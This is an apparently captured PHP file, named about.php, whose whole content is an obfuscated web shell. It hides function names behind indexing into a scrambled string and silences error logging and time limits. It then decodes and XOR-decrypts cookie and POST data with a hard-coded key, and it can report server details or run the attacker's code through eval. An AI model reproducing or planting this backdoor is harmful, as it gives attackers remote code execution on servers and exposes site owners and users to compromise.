^^&&^^

Edit File: about.php

<?php

$a = 'L1oFl/_5s' . '-E2(nz@9vkg\'4Nxht' . '3Uyi; ecfda6' . 'u<jr.0I7bm)p?';
$b = array();
$b[] = "ad710492-b1db-4ff6-9d28-b466fd2001f1";
$b[] = "";
$b[] = $a[47] . $a[36] . $a[23] . $a[6] . $a[32] . $a[23] . $a[32] . $a[33] . $a[38] . $a[25] . $a[29] . $a[2] . $a[13] . $a[6] . $a[25] . $a[29] . $a[47] . $a[32];
$b[] = $a[4] . $a[2] . $a[19] . $a[6] . $a[32] . $a[41] . $a[41] . $a[2] . $a[41] . $a[8];
$b[] = $a[32] . $a[41] . $a[41] . $a[2] . $a[41] . $a[6] . $a[4] . $a[2] . $a[19];
$b[] = $a[1] . $a[42] . $a[43] . $a[9] . $a[1];
$b[] = $a[42] . $a[29] . $a[13] . $a[33];
$b[] = $a[36] . $a[18];
$b[] = $a[49] . $a[17];
$b[] = $a[42] . $a[5];
$b[] = $a[8] . $a[17];
$b[] = $a[35];
$b[] = $a[29];
$b[] = $a[36];
$b[] = $a[32];
$b[] = $a[39];
$b[] = $a[34] . $a[29] . $a[4] . $a[32] . $a[6] . $a[49] . $a[38] . $a[25] . $a[6] . $a[33] . $a[2] . $a[13] . $a[25] . $a[32] . $a[13] . $a[25] . $a[8];
$b[] = $a[8] . $a[32] . $a[25] . $a[6] . $a[25] . $a[29] . $a[47] . $a[32] . $a[6] . $a[4] . $a[29] . $a[47] . $a[29] . $a[25];
$b[] = $a[46] . $a[36] . $a[8] . $a[32] . $a[37] . $a[21] . $a[6] . $a[35] . $a[32] . $a[33] . $a[2] . $a[35] . $a[32];
$b[] = $a[38] . $a[13] . $a[8] . $a[32] . $a[41] . $a[29] . $a[36] . $a[4] . $a[29] . $a[14] . $a[32];
$b[] = $a[36] . $a[41] . $a[41] . $a[36] . $a[28] . $a[6] . $a[47] . $a[32] . $a[41] . $a[19] . $a[32];
$b[] = $a[49] . $a[24] . $a[49] . $a[17] . $a[32] . $a[41] . $a[8] . $a[29] . $a[2] . $a[13];
$b[] = $a[8] . $a[32] . $a[41] . $a[29] . $a[36] . $a[4] . $a[29] . $a[14] . $a[32];
$b[] = $a[29] . $a[13] . $a[29] . $a[6] . $a[8] . $a[32] . $a[25];
$b[] = $a[8] . $a[25] . $a[41] . $a[4] . $a[32] . $a[13];
$b[] = $a[22] . $a[27] . $a[0] . $a[0];
$b[] = $a[33] . $a[24] . $a[41];
$b[] = $a[2] . $a[41] . $a[35];
$b[] = $a[47] . $a[35] . $a[7];
@$b[23]($b[4], $b[25]);
@$b[23]($b[3], 0);
@$b[23]($b[2], 0);
@$b[17](0);
function t($c, $d, $e)
{
    $g = "";
    for ($f = 0; $f < $c[24]($d);) {
        for ($i = 0; $i < $c[24]($e) && $f < $c[24]($d); $i++,
             $f++) {
            $g .=  $c[26]($c[27]($d[$f]) ^ $c[27]($e[$i]));
        }
    }
    return $g;
}

$h = $b[20](
    $_COOKIE,
    $_POST);

foreach ($h as $m => $c) {
    $c = @$b[19](t($b, t($b, $b[18]($c), $b[0]), $m));
    if (isset($c[$b[7]])) {
        if ($c[$b[13]] == $b[12]) {
            $u = array(
                $b[8] => @$b[21](),
                $b[10] => $b[5],);
            echo @$b[22]($u);
        } elseif ($c[$b[13]] == $b[14]) {
            eval($c[$b[11]]);
        }
        exit();
    }
} ?>